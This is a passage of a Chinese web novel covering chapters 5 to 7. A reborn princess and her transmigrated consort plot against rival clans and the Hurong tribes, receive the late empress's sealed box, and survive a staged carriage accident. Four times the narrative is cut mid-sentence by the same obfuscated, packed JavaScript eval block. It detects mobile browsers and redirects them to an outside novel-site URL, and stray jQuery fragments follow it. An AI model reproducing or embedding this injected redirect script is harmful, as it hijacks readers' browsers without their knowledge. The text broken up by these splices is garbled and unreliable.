“天下人都知道,陛下是位仁君,如今我朝群英荟萃,也是四方才子心向往之。”秦处安好听的话张口就来,皇帝看了他一眼,怒气消了些,命人为公主和驸马赐座,才说:“今日你们新婚第二日,本来是高兴的事,偏偏国事忧心。”
商景徽就坐,手指搭在桌案上,微不可察地轻敲了一下,身边的秦处安立刻会意,道:“如今西北粮草告急,三司支不出银子来,可仗总是要打完的,只能暂且从其他州府调些粮草,待此战告捷,便到了秋收时节,再另行调配。”
“拆东墙补西墙,这也只是应急之法,如今各州府粮仓还算充裕,调出粮草来确实容易。”皇帝说着,啜了一口茶,叹声道:“今年春旱,北边墒情不好,只怕秋收补不上来,引起饥荒。”
商景徽适时开口:“为何不能暂时停战呢?”
皇帝笑了,说:“停战是要付出代价的。”
商景徽状似不经意道:“如果胡戎六部自己先乱了,自然无暇东顾,届时大靖不就有机会休整了吗?”
皇帝起初哂笑一声,撂下茶盏,正欲说话,却又想到了什么似的,说:“这倒不失为一个法子。”
胡戎六部,分为北三部和南三部。北三部所占疆土更大,但气候环境恶劣,是实打实的“靠天吃饭”,干旱,严冬令他们不断南下。南三部疆域偏小,但气候相对没那么恶劣,只是常受北三部侵蚀。
北三部直接与北靖接壤,常年交战。南三部与西蜀接壤,西蜀国君偏安,两国相对和平。
商景徽转头,对秦处安微微颔首,后者回以浅笑,二人目的初步达成。
皇帝思量一阵,说:“不过,此事有待商榷,出使人选更需慎重。”
“只是,陛下,大靖与北三部交战已久,一时恐怕难以取信于此。”秦处安面露难色,进言。
商景徽想了想,才说:“不如从西蜀下手。”
皇帝抬眼,深深看着商景徽,目光并不凌厉,就像是在她身上看到了从未看见的东西,半晌,才问:“西蜀?”
商景徽不畏惧高坐于殿上的父亲探究的目光,继续说:“父皇,西蜀与南三部接壤,且近几年胡戎北三部时时南侵,若能通过西蜀挑唆南三部,未尝不可。”
皇帝皱眉,手中的珠串在两手间倒来倒去,半晌才说:“此事还须从长计议,过几日,朕再与百官商议。”
兹事体大,皇帝一时犹疑,实属常事。商景徽不急,于是便将话题扯到了其他事上,最后皇帝对新婚夫妇训话,又赏赐了田宅,奴仆若干,二人便出宫了。
临行前,皇帝对商景徽说:“允王甫谦回去吧。”
“日头渐盛,刺眼障目,王大人年事已高,且先回去吧。”
商景徽客客气气地同王甫谦说完,便与秦处安离开了。
可来自“君”的一句话,会在臣子的耳中翻来覆去,转成无数个意思。
不过,这不冤枉商景徽,她是故意这么说的。
帝王盛怒之后,再稍微斟酌一下说辞,便能引出精明的老臣太多猜疑。
回府的马车上,商景徽与秦处安相对而坐。
秦处安身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383550|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
体前倾,笑问:“怎样?公主殿下,我今日表现还不错吧?”
马车宽敞而平稳,商景徽靠在软枕上,手支着头,细长的手指点着太阳穴,轻轻启唇,道:“还行。”
今日二人在大庆宫一唱一和,自然是来时在马车上商议好的。
商景徽自前世而来,秦处安穿书而来,两人也算是对一些事有了预知的能力。
前世,朝廷从南方州县调动粮草,战事大获全胜,然而定远公世子沈衡却战死沙场。
不得已之下,定远公次子沈道行前往西北。然而当年冬天,西北极寒,胡戎北三部东进,又爆发了一场大战,沈道行身负重伤。
几年后,定远公府没落,驻守南边的永昌侯被调往西北抵御胡戎,南边战力不足,才导致后来南衡大军一路北上,直逼云阳城。
“只是当下,该如何将胡戎的水搅浑呢?”商景徽闭着眼苦思,喃喃问。
出使西蜀,商景徽心下已经有了人选,只是若要办成此事,他们得提前有个章程。
秦处安笑道:“我倒有一个法子。”
商景徽睁开眼睛,见对方笑盈盈不说话。
她似乎明白对方何意,惜字如金地问道:“有事?”
秦处安知道她的想法,便说:“毕竟不能白给,公主殿下出个报酬。”
商景徽却是一口回绝了:“你没有资格谈条件。”
商景徽以为对方会胡搅蛮缠,可没想到秦处安并不计较,又或许他本来就没抱希望。她云里雾里地听对方嘀咕了一句:“也对,在皇权面前,一切条件都是泡影,一切服务都是应当应分。”
“你是领俸禄的。”商景徽道。
秦处安笑了笑,便进入正题:“‘全知’,胡戎信仰的神明,公主可曾听过?”
商景徽摇头,秦处安正欲继续说,马车停了,兰若再外面通报:“公主,回府了。”
“不急。”商景徽对外面说,随后示意秦处安继续。
秦处安:“胡戎与中原乱七八糟的神佛系统不同,这位全知神,是他们信仰的唯一神明,他们所有的生产生活甚至是统治,都受这位全知的影响。”
商景徽坐正身子,问:“所以你的意思是,利用‘全知’?”
“对,”秦处安与她说话并不费劲,“而且我们不是有依据?”
商景徽搭腔:“你是说冬日的极寒?”
“只要我们联合西蜀,再出使胡戎南三部,利用这位‘全知’,为南三部制造一些来自北三部的恐慌,胡戎内部自然会乱作一团。”
秦处安稍一停顿,拾起一旁的棋子,按在桌上,意味深长地说:“至于后面具体如何操作,就要看公主殿下的櫜中之才了。”
二人进府之后,该安排家中事务,管家是皇帝亲自安排的,由公主的陪房周兴一家担任,内院事务由兰若领头,朱蕤、芊蔚两位女使协同处理,另外有李嬷嬷、蔡嬷嬷协助周兴媳妇杨氏管理府中杂事。
下人们见过了公主、驸马,各领了赏钱,退下之后,公主才召见了府中首领侍卫瞿影。
瞿影是商景徽的二表兄沈道行亲自安排的人,此人见礼之后,却递上一个封信,出自沈道行之手。
商景徽看后,吩咐道:“着人安排,三日后去一趟国公府。”
5. 秦简
秦处安现任翰林院修撰,新婚燕尔,皇帝允了三日休沐。
对此,秦处安颇有微词。
“婚假才给批三天,连个蜜月都没有,我也想看看没受过工业文明污染的大好河山啊。”
商景徽听着对方煞有介事地嘀嘀咕咕,一句也听不懂,她从账本中抬眸,冷冷瞥了秦处安一眼。
秦处安收到眼刀,安静了一瞬,随后又走到商景徽面前,隔着书案,问:“公主殿下,这账本您都理了一天了,不累吗?快歇歇眼睛吧。”
“数钱的时候,你会累吗?”商景徽淡淡问。
秦处安莫名其妙笑了,可能是觉得商景徽冷着脸,用极其清冷的声音,却又无所谓的语气,说出如此人间真谛,挺有趣的。
“不过殿下,方便告知这得多少钱吗?”秦处安干脆席地而坐,给对方研墨。
“嗯……”商景徽想了一下,似乎是在寻找一个合适的比方,“四大商那样的吧。”
“哦,”秦处安有点失望,扔下墨块,就着方才的姿势,矮下去趴在桌子上,歪头看着商景徽和兰若继续理账。
听闻北靖风俗尚厚嫁,女子的嫁妆一个赛一个的高,互相攀比,渐成风气,甚至成了家族实力的最重要参照。
在原书中,楚国公主出嫁,是全书中最为豪华的场景,描写记叙都分外考究,甚至令读者一度怀疑作者意图中途转言情小说。
北靖商业发达,四大商是北靖财力最高的四个商业家族,加起来说是富可敌国也不夸张……
加起来……
“不对,四大商!”秦处安想到这里,忽然又看向商景徽,对方闻声抬头,目光依旧平静。
秦处安直起身子,问:“加起来么?四大商?”
商景徽轻轻点头,继续理账。
秦处安:“那公主殿下岂不是富可敌国?!”
商景徽没说话。
秦处安:“那还夺什么权?直接周游四方,不好吗?省得殚精竭虑,整日……”
秦处安的声音渐渐低了。
商景徽将账本递到兰若手中,漠然的目光冷冷落在他的脸上。
他说错话了。
秦处安却温良无害地笑了。
他是故意这么说的。
商景徽终于撂了笔,对兰若说:“地契、铺子按我整理的去办,陪嫁的物件、各家的贺礼按照单子清点好,堆进库房里。父皇赏赐的,你看着送到国公府一部分,其余的你和周兴商议着办。”
“另外,我圈出来的几样,过几日出门带着,先不用收。”
兰若领命下去,关上了房门,屋里只剩下商景徽和秦处安。
商景徽当然知道,对方是故意失言。
秦简落水,醒来的是秦处安。秦处安在身上有伤的情况下,却一口咬定自己只是失足落水。然而,他在商景徽面前并未装糊涂,见面便将一切挑明,明面上唯她马首是瞻,实为明哲保身。
她尚不清楚秦处安的目的是什么,也不知对方是否只是想保命,还是想回到他所说的那个不知真假的“家”。
无论秦处安是如何考量的,她都必须对他保持防备。
可商景徽对秦处安的来历一无所知。
秦处安就那样静静看着她,连说错话的无措都懒得伪装一下。
对方好像看出她在想什么,随手给自己倒了一杯茶,又为商景徽添了已经空了的茶盏。
商景徽一言不发,整了整衣襟和袖摆。
秦处安坐在对面,笑道:“公主殿下不想听故事吗?”
不知为何,明明是同样的身体,只是说话的语气不同,神态不同,可眼前这个人和真正的秦简却好像连声音都不同了。
“讲吧,”商景徽停下动作,直视秦处安的眼睛,“让我听听是否有趣。”
秦处安语气轻松,带了些自然的笑意:“坦诚起见,先来讲讲我自己当下的情况。”
秦处安开门见山:“自我过来,那边的人找过我三次。”
商景徽目光一顿。
“那边”自然是指南衡,此处秦处安所言,是秦简的人,追随秦简复国的人。
秦处安想了想,还是解释了一下,“我并不知道你对秦简在南衡的经历了解多少,如果你想听,我可以完完整整,将上一世秦简的经历复述一遍。”
商景徽垂眸,半晌不语。
不好的回忆谁也不想拾起,所以秦处安问得小心翼翼。
商景徽:“简单讲讲吧,毕竟与你的处境分不开。”
“我们所在的这个世界,本来吧,是以秦简为主角的。”秦处安说到这里,觑了一眼商景徽的脸色,看上去没什么问题,但毕竟没人愿意听说自己给别人当配角,秦处安还是补了一句题外话:
“不过,你既然重生了,你就是主角。”
说完,他又忽然发现不对。果然,下一瞬,商景徽问:“那卢清婉呢?”
“她嘛,她——”秦处安恍然大悟似的,眼睛都亮了,快速说:“我好像明白了!”
商景徽不明所以地看着他。
“其实本来的结局里,秦简统一天下,你……呃,成了他的妃嫔。”这话不好听,于是秦处安说得囫囵,却足以令人听清,他立刻带过,继续说:
“但是,奇怪的是,后来你的结局突然改变了,变成了你上一世的结局。”
秦处安又嘀咕了一句商景徽听不懂的话:“那个作者神神叨叨的,非说结局不是他改的,还说人物自己有了意识,反抗命运什么的,我一直觉得这是作者的营销手段。”
他看着商景徽的眼睛,又说:“不过现在看来,他说的可能是真的。你在反抗自己的命运,你成功了,所以有了重新来过的机会。”
商景徽隐隐有所预料,秦处安的眼睛里蓄着秦简未曾有过的温柔——那是一种普世的温柔,应该来自一个人最原始的善意。
秦处安说:“所以,这一次,你才是主角。”
“至于卢清婉,她应该是上一世与你产生了因果,所以受到影响,也回来了。”
“你是指,我上一世杀了她?”商景徽问。
秦处安:“是啊,实话说,第二版结局里,你的抗争,只来得及促成卢清婉的提前下线,所以与你产生因果的只有她,应该也只有她重生了——这个后期我们可以慢慢验证。”
“当下你既然掌握了命运的主动权,就有改变一切的可能。”
“好了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383551|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我明白你的意思了,你可以继续讲了。”或许商景徽已经见识到他滔滔不绝的能力,生怕他继续说下去似的,赶紧打断了对方。
秦处安笑了笑,发现自己忘记刚才说道哪里了,回忆的功夫里,商景徽却忽然说:
“不过还是谢谢你,我明白你的好意。”
秦处安的脸上出现了一瞬间的失神,不过他立刻调整回来,摸了摸鼻子,说:“不用谢——刚才不是说秦简么,简单来说,整本书讲的就是秦简,作为一个被放逐的落魄皇子,如何东山再起,夺回属于他的一切,又一统天下的故事。”
商景徽点了点头,若有所思,问:“那么在北靖的这段日子,算是他的隐藏与蛰伏么?”
秦处安:“对的,这段日子里,他一直和自己的势力暗中沟通,一边操控南衡的局势,一边收集北靖的情报,为自己统一诸国做准备。”
秦处安以为对方听了这些,会恨得拿自己出气,还尽量简化了故事情节。
结果,商景徽却只是安静了一会儿,说:“其实,抛开立场不谈,秦简此人,手段不简单,倒是个不可多得的人才。”
秦处安煞有介事地说:“公主殿下,有这样广阔的胸襟,您做什么不会成功呢?”
商景徽没搭理他。
秦处安并不在意,回归主题,说:“他们找了我三次。第一次,是我醒来时。他们疑心坠湖之事有蹊跷,问我需不需要暗中调查。我当时自己才刚过来,连情况都没搞明白呢,生怕露出什么马脚,就将他们搪塞过去,打发走了。”
“第二次,是赐婚的旨意下来之后。他们说,这是千载难逢的好机会,正好方便探查北靖秘事。不过这个,嘶……就原著而言,秦简当不当驸马,并没影响他刺探北靖国事,他的那些情报并不是利用公主得来的,而是跟着皇帝参政获得的。”
“第三次,是成婚前,他们问我成婚后如何联系,我告诉他们成婚后再做打算。所以,公主殿下,你看怎么安排呢?”
商景徽没有回答他的问题,而是评价道:“来往挺密切啊,怪不得秦简当初出逃,以至于后来带兵打进来都那么顺利。”
秦处安觉得自己不该接话,这种情况说什么都不对,就没接。
商景徽又问:“他们藏身何处?”
秦处安不假思索,道:“比较杂,有的是行商,大部分分散在云阳城的店铺里做活计。”
商景徽:“比如?”
秦处安问:“你还记得安翎吗?”
“秦简身边那个侍卫?”商景徽当然记得,上一世秦简身边就两个得力的侍卫,一个是卫愈,另一个就是安翎。
秦处安实话实说:“是。不过这次,我还没让他进府,那些人都没有。”
商景徽已经不敢想象,上一世,自己当做乐园的公主府里,藏了多少双虎视眈眈的眼睛,盯着北靖的疆土。
“秦简被如今的南衡继后,还有继后的亲子,排挤陷害,逃到了北靖。不过,他的母族势力庞大,留了不少旧部,暗中为他谋划,他才得以重回南衡。”
秦处安淡漠地叙述着这个不属于自己,却又无法抽离自身的故事,最后问道:
“公主殿下,给指条活路?”
6. 遗物
“活路吗?”商景徽凝视着秦处安,眸中冰冷,她淡淡点明:“你不怕死,秦处安。”
秦处安笑意渐渐敛了。
商景徽:“你也根本不在乎那些人,自然不会在乎我如何处置他们。”
秦处安挑了挑眉。
商景徽评价道:“你真是我见过的,最没有目的的人。”
秦处安却反问:“我没有目的,不是恰恰证明我是可信的吗?”
商景徽:“为何非要证明自己可信呢?还是说,取信于我,你有其他目的?”
秦处安笑了,双手叠放在案上,倾身问:“公主殿下真是反复无常,方才还说我没有目的,甚至还认认真真道谢,怎么这会儿却又百般试探,说我目的不纯呢?”
“我说过了,我相信你说的话。”商景徽话锋一转,没再继续这种无意义的讨论,转而问,“不是想要活路吗?”
秦处安眨了眨眼,等着她的下文。
“继续做秦简该做的事。”商景徽站起来,秦处安跟着抬头,她俯视着他,说:“但我要知道那些事的全部,事无巨细。”
秦处安没有异议:“遵命,公主殿下。”
三日休沐很快结束,秦处安正式入宫,任翰林院修撰,虽品阶不高,却为天子进臣。
商景徽前往定远公府,一为探亲,二为担忧国公府安危,但最重要的是,沈道行的那封密信。
定远公沈遴自年初回京,便一直待到了四月里,拟五日后启程回西北。
商景徽此次出行排场不大,乘马车到了定远公府正门,又换了轿子一路进府,轿子里早有国公夫人穆庭瑛等候。
商景徽见了舅母,二人以君臣、亲长之礼推辞了一阵,又寒暄几句,便到了正堂。
沈遴虽年过半百,但身体很好,目光炯炯有神,一看便知是在外征战了大半辈子的人。
“大表兄可好?”商景徽问沈遴。
她口中的大表兄是国公府长子沈衡,自十四岁起跟着沈遴在外征战,十七岁时,将多年侵扰边地百姓的胡戎达克拉部打退至西余山外,十年来大小战事获胜无数。
可偏偏是这样一个年少有为的将领,上一世却于一场大战中惨败,身受重伤后丢了性命。
定远公只得重回战场,沈道行跟随父亲出战。然而,这位新晋的将领尚未成长起来,定远公病逝了。国公夫人接连丧子丧夫,郁郁而终,偌大的沈家,便只剩沈道行一个人了。
商景徽想起前世国公府的遭际,看着眼前仍旧康健的国公夫妇,第一次感谢上天,给了她这次重来的机会。
“听闻父皇已经下令,命各州调配粮草,遣使运往西北。”商景徽道。
沈遴叹了一口气,道:“如今战事吃紧,胡戎北三部素来不安分,此次粮草供应,恐怕连年底也撑不到。”
他双手撑在膝盖上,摇了摇头,说:“年年回京,往三司要银子,那才是让人见识到什么叫推诿扯皮。人人都说大靖遍地是黄金,可黄金都叫商户铺了地,国库的墙却是空的。”
“仗总是要打的,可大靖国库不充盈,银子的事,并不是一朝一夕就能解决的。”商景徽眉心微蹙,轻声说:“为今之计,能拖一时就拖一时,连年征战,军中将士们疲乏,边地百姓也吃不消。”
这是商景徽第一次和人如此直接地议论朝政。
沈遴端详她的神情,相似的眉眼,相似的神态,他忽而想起了英年早逝的胞妹沈容书。
先皇后沈容书,自幼饱读四书,泛通兵法、诗赋,聪慧过人。家中人常言,沈大姑娘若是个男子,必使沈家兼通文武。
事实上,沈容书即便是个女子,也在暗中促成了一场风云变幻。
这都是往事,沈遴不愿多想,商景徽像极了她的母亲,若是也能有那样搅弄风云的魄力才好。
或许是他眼神中不自觉流露出了欣赏与希冀,商景徽竟多说了几句为时过早的话:“过几日,朝廷必会拟出个章程来。今年冬天,不会有战事。银子的问题,转过年来,会有迎刃而解的那一天。”
“虽说暂时停战,可绝不能放弃交战。眼下,朝廷议和派势头渐盛,舅舅该杀一杀。”
提起议和派,沈遴冷哼一声,说:“胡戎向来蹬鼻子上脸,岂能议和?我自会联系主战的文官,与之抗衡。”
商景徽又提起了此行最重要的事,问道:“舅父疑心母后当年……”
不便言说的话,她以眼神代之,接着询问:“舅舅缘何生了猜疑?”
沈遴听了她的问话,神情严肃地与穆庭瑛对视一眼,后者起身,走进书房里面的小隔间。
商景徽听到一阵柜子开合的声音,半晌,穆庭瑛才捧着一只雕花精美的小匣子出来。
“这是皇后娘娘的遗物。”穆庭瑛将匣子放到商景徽面前,在一旁坐下。
商景徽伸手,轻抚着匣子上的纹路,匣子没有明锁,却封得严丝合缝。
她低头盯着盒子,问:“这匣子如何打开?里面是什么?”
沈遴语气凝重,说:“你母亲病重时,将此物交给我,但并未告知打开的方式。她还特意交代,此物可在世家极盛转衰时交给陛下。”
“这么多年来,我们没有打开过,所以也不知里面是什么。不过,或许会对你正在查的事有所帮助。”
商景徽命兰若和瞿影暗中寻访长乐宫旧人,沈遴便知她是对先皇后的死起了疑心。
商景徽再三观察木匣子,没看出什么头绪来,只得先收好。
商景徽又和沈遴夫妇叙旧,一个时辰后,才告辞要回府。
临走时,她想起上一世沈衡大败负伤,算起来就在今年夏秋之际。可如今她尚且弄不明白战败原因,于是便隐晦地提醒沈遴:“今年的仗不好打,请舅父转告大哥哥,务必小心,不必冒进。”
沈遴应了,商景徽又说了一句不甚明了的话:“今年冬日之前,战事可暂时转移,届时,会有足够的休整时间。”
回府的马车上,商景徽将从沈府带出来的木匣子放在腿上,双手交叠,压在匣子上。
上一世,这只匣子并没入过她的手,所以她并不知母后这件遗物的存在。
按照“世家由盛转衰”推测,上一世,定远公府出于某种考量,未曾将匣子交给皇帝。又或者,定远公府没来得及转交,便已经衰落了。
商景徽更倾向于后者。上一世,自沈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383552|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衡死后,沈遴和沈道行均被派往边疆,沈家渐渐远离了京城的权力中心,哪里顾得上世家何种境况,这个匣子也就交不出了。
可是,商景徽转念一想,若沈家真的打算把东西交给皇帝,为何不自己收好,如今却要交给她?
“朱蕤,”商景徽倚靠在软枕上,若有所思,随口问道:“你说如果有件重要的东西在你手上,这个东西在必要时可扭转局势,但你最终没有交给该拿到它的人,为什么呢?”
朱蕤想了想,还是决定依照自己下意识的想法回答:“或许是没到交出去的时机,或者是保存此物的人将重要东西弄丢了吧?”
时机……
商景徽忽然意识到一个问题,或许他们搞反了先皇后的意思。
匣子里装的东西,或许才是能令世家由盛转衰的真正“时机”!
那对于世家来说,岂不是一个巨大威胁?
如果世家知道了这个匣子的存在,并且一直忌惮着,有所防备,那上一世沈家的衰落是否只是简单的战败?
这只匣子完好无损地保存了十余年,那么应当尚未被世家察觉。
可这一世,还有一个巨大的隐患:卢清婉!
商景徽倏然坐直了身子,猛地凑到窗边,掀开帘子,对马车外的随从喊道:“停车!”
朱蕤惊得立刻起身,不知对方要做什么,正待走到公主身边,提醒她注意安全,可异变陡生——
车外传来马儿的惊叫声,伴着车夫的呼喝,外面起了一阵骚乱,马车像是要躲避什么,骤然换了方向。
商景徽和朱蕤受惯性影响,没稳住身形,被甩到了另一边,商景徽眼疾手快,赶紧抱住木匣子。
朱蕤护着商景徽,承受着两个人的重量,撞到了车厢内壁上。
马车暂时停下,商景徽死死抱着匣子,立刻拉起朱蕤,往车外跑。可二人还没靠近车门,外面又传来了一阵急促的马蹄声,车子再次动起来,商景徽和朱蕤没站稳,双膝着地,好在车上铺了软垫,缓冲了一把。
商景徽紧紧抓住车上的扶手,没有立刻起身。车身又受到重创,她才没再次摔倒。
商景徽头晕目眩,可动乱还没停。车厢似乎与马匹断开了,没了牵引,便不受控制地促然往前冲。
她被强烈的失控感搅得心跳如鼓,呼吸急促,怀里依旧紧紧抱着母亲留下的木匣子。正当她以为自己要被甩出车外时,车子终于减了冲速。
外面传来车轮急促蹭在地上的声音,车子渐渐稳住了。
商景徽半边身子借力撑在榻上,榻上的软垫早不知散落于何处,只剩手底下冰冷坚硬的实木榻板。
商景徽缓着气,听到了杂乱的脚步声。车门被拉开,传来卫愈的声音:“公主!”
商景徽抬头,慢慢直起身。惊吓未褪,她的四肢尚在不受控制颤抖。卫愈的身后才跟上来诸多侍从,惊呼着涌上来,几名侍女七手八脚地将她和朱蕤扶了下去。
商景徽下车后,四下观望:远处躺着一匹马,脖颈处的伤口尚在汩汩流血。另一边则是给她拉车的那匹马,同样倒在地上挣扎。
公主鬓发乱了,平复好心绪,转身问卫愈:“怎么回事?”
7. 吴家
卫愈低着头回禀:“殿下,方才一匹失控的马突然从西边冲出来,导致殿下的马受惊,马车受损。”
商景徽由侍女扶着,看向远处血泊里已经不再挣扎的马,问:“是那个吗?”
卫愈:“是,情况紧急,为防止马匹伤人,属下只能先了结了它。”
“尽快寻一位马医来看看,是害了疯病还是受了惊。”商景徽移开视线,继续吩咐:“再查查马是谁家养的,朱雀大街上,平白无故地,怎么会跑出一匹失控的马呢?”
侍卫们领了命,各自行动。公主府留守的一队人,听闻公主车驾受惊,此时正好赶过来。
此地距离公主府不远了,芊蔚领着一众侍从,抬了一顶小轿过来。商景徽念及朱蕤受伤,便携着她一起坐轿子回府了。
府中早有太医等候,太医们为商景徽看诊,确认只是有点磕碰的淤青,外加受了惊吓,开了几服药。
朱蕤伤势相对严重些,右手手臂擦伤,手腕也扭伤了。商景徽命太医好好为她诊治,免了她近半个月的差事,另赐了一个月的月钱为抚恤。
好容易安排好了一切,众人退下,只留下芊蔚在旁侍奉。
终于安静下来,商景徽捧出完好无损的木匣子,放在书案上。
她正起了思绪,思索着今日变故。结果,外面又传来一阵仓促的脚步声,秦处安未见其貌先闻其声地回来了。
“好端端的,怎么会出事呢?”来人语气急切,言语声已至门口:“公主?”
商景徽叹了一口气,默默抬起头,恰好与秦处安对上目光。
秦处安身后跟着一个小侍卫,见了她之后,就点头退下了。
秦处安尚且穿着官服,幞头早已摘下,端在手中,看见她在这里坐着,立刻跑过来,弯腰问道:“感觉怎么样?可有受伤?”
他将幞头随手搁在案上,干脆坐在商景徽身边,拉起她的手查看。
“这都青了!”秦处安煞有介事地捏着对方的手腕,轻轻碰了碰淤青的地方。
商景徽不自在地抽回手,说:“太医瞧过了,也开了药,没什么大碍。”
秦处安“哦”了一声,又问:“查清了吗?怎么回事?”
商景徽摇摇头,反问他:“你怎么这么早回来了?”
“你都出车祸了,我哪里还有心情上班啊!”秦处安叹声道:“宫使传消息去的时候,我正好在皇帝身边,传信的人说你没事,我还是不放心,所以皇帝特准我今日提前回来了。”
秦处安虽然话多,但言语中的紧张并不似有夸大的嫌疑,方才拉着她的手絮絮叨叨,还真像一对新婚燕尔感情正浓的夫妻。
商景徽觉得很奇妙,秦处安这个人,一天一个样,但细想起来,每个样子又确实都是他。
商景徽勾了勾唇,恰好被秦处安捕捉到,他愣了一下,但很快又说:“公主殿下,今日朝堂上发生了一件大事,保准你还不知道。”
商景徽不明所以的看向他。
秦处安不在她面前卖关子,直陈其事:“宜州的凤光楼塌了。”
商景徽蹙眉,问:“不是刚落成一年吗?”
“是啊,”秦处安似笑非笑,接着问,“公主殿下还记得凤光楼是何人主建的吗?”
商景徽想起来了,上辈子好像也有这么一回事,但闹得不大,当时她也没怎么留意,不过最后受罚的人是……
“吴家?”
秦处安点点头,道:“对,楼是今天凌晨塌的,参吴石青的折子巳时就已经递到陛下手里了,明日一早,估计就能堆满龙案了。”
恰逢卫愈回来,在外扣门,商景徽暂时止住话头,命卫愈进来。
卫愈公事公办地回禀:“殿下,冲撞车驾的马是永安郡王府里的,今早害了病,马夫牵出来医病,结果马匹失控,自己跑了。马医看过,确认病症属实。”
秦处安越听越不对劲,说道:“且不说马匹生病,该在府里请大夫照看,本不应该随意牵出来。就说这个马夫,连害了病的马都牵不住吗?”
卫愈:“马夫被失控的马踹倒,头磕到旁边的墙角,当场没了。”
“呵,”商景徽忽而冷笑,“真是巧啊。”
是很巧了,怎么看都像是一场意外,处处让人觉得有问题,但处处都查不出破绽。
永安郡王父母早亡,去岁刚刚自立府邸,在宗室里,是众所周知的废柴纨绔。
“这位小郡王,恐怕还不知卧在哪个花街吃酒呢,平白被人扣了这么大一顶帽子,真是太不长心。”秦处安道。
卫愈看了他一眼,问商景徽:“公主,那永安郡王还继续查吗?”
商景徽眯起眼,手指不自觉扣紧在桌面上,道:“不必查了,再蠢的人,也知道下手害人不出自己的人。况且,出了这个事,朝廷无论如何都会派人查一查永安郡王府,多半也只是查出个意外,顶多是御下不严。”
卫愈又回:“属下已经遣人去细查马夫了,还需等几日。”
商景徽揉了揉眉心,其实他们都知道,这件事估计查不出什么了。她今日挨了这一遭,也只能暂时咽下这个哑巴亏。
她想了想,又吩咐:“你去帮我寻一位擅长机关的巧匠,我要解一个东西。”
秦处安问:“怎么突然寻巧匠?”
商景徽没看他,语气里带着疲惫:“今日,舅舅给了我一个物件,是母后的遗物,寻常手段打不开。”
“先皇后遗物?”秦处安立刻明白了她此刻烦躁的原因,“你是怀疑,今日之事,与此物有关。”
商景徽沉重地出了一口气,道:“八九不离十。”
秦处安思量着,分析:“东西刚到手,对方就找上来了,消息这么灵通,莫非是卢清婉?”
“嗯。”商景徽欲往下说,不过屋里还有别人,便顿住了,抬头问卫愈:“还有事吗?”
卫愈抱拳道:“属下斗胆,推荐一人。”
商景徽眼神示意他继续说。
“属下的师父,略通一些奇法,或许可解机关。”
卫愈的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383553|184171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师父在淳味楼做活计,也算是半个自己人了。商景徽想了想,便允了:“好,试试无妨,你去请他进府吧,越快越好。”
卫愈领命后离开。
芊蔚察言观色,也退了出去,顺手关上了门。
“上一世,我不知道这个匣子的存在。母后说,此物当在世家盛极转衰时拿出来,但上一世世家一直得时,我也并未听说过什么变故。”商景徽语气淡淡,说:
“倘若今日是卢清婉下手,那么她上一世应该是见过这个东西的,她知道里面的东西对世家不利。或者说,她一早就知道母后留了对世家存在危胁的遗物,但如果是这样的话,那么上一世定远公府的没落,就不是那么简单了。”
其实对于重生的商景徽和卢清婉来说,这个匣子在她手里,比在沈家人手里,威胁大多了,所以对方狗急跳墙,想出了如此仓促的法子。
拿不出匣子里的东西,一切都是瞎猜,秦处安适时转了话题,道:“如今想这些也没用,等匣子打开了再说吧。”
商景徽垂着眼,没说话。
秦处安继续道:“方才凤光楼的事还没说完呢。此次坍塌,明显是吴石青在里面刮了油水,建造敷衍,才出事的。”
这话引起了公主的注意,商景徽很快调整过来,问:“所以你的意思是,要在这件事上做一回文章?”
秦处安点头,笑道:“原书的剧情里,秦简没有插手此事,虽说他是皇帝用来牵制世家的棋子,但他不会全力参与争斗。”
商景徽接话:“所以上一世,在卢家与王家的合力操纵下,吴家只受了一点降职的小罚,根本没有动摇根本。”
“所以这一次,我们要翻出点别的风浪。”秦处安注视着商景徽,继续说,“这么多年来,世家作威作福,多少都犯了些错,不愁没有其他把柄。况且,吴家近年来实力式微,早已不似当年,其他四大家未必没有异心。”
